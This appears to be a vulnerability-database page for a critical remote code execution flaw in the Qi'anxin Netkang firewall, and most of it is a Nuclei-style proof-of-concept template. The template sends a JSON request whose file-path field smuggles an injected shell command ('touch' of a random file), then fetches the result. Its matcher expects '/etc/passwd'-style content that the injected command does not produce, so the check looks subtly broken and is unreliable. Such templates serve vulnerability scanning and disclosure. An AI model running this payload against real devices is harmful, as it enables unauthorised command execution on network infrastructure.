qi-anxin-netkang-next-generation-firewall-rce: Qi'anxin Netkang Next Generation Firewall - Remote Code Execution

日期: 2025-08-01 | 影响软件: qi-anxin-netkang-next-generation-firewall | POC: 已公开

漏洞描述

Qi'anxin Netkang Next Generation Firewall is susceptible to remote code execution.

PoC代码[已公开]

id: qi-anxin-netkang-next-generation-firewall-rce

info:
  name: Qi'anxin Netkang Next Generation Firewall - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    Qi'anxin Netkang Next Generation Firewall is susceptible to remote code execution.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: rce,firewall,intrusive,vuln

http:
  - raw:
      - |
        POST /directdata/direct/router HTTP/1.1
        Host: {{Hostname}}

        {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;touch /var/www/html/{{randstr}}.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f4cc36d004b86d284bba2c68ca4c0d5cb8dadf83c32935824ba4cbe1987461e502206295cc2e8dd7eae46a373f1ff7b51a21e2a53e29a777b3235b8346343dcd263b:922c64590222798bb761d5b6d8e72950

相关漏洞推荐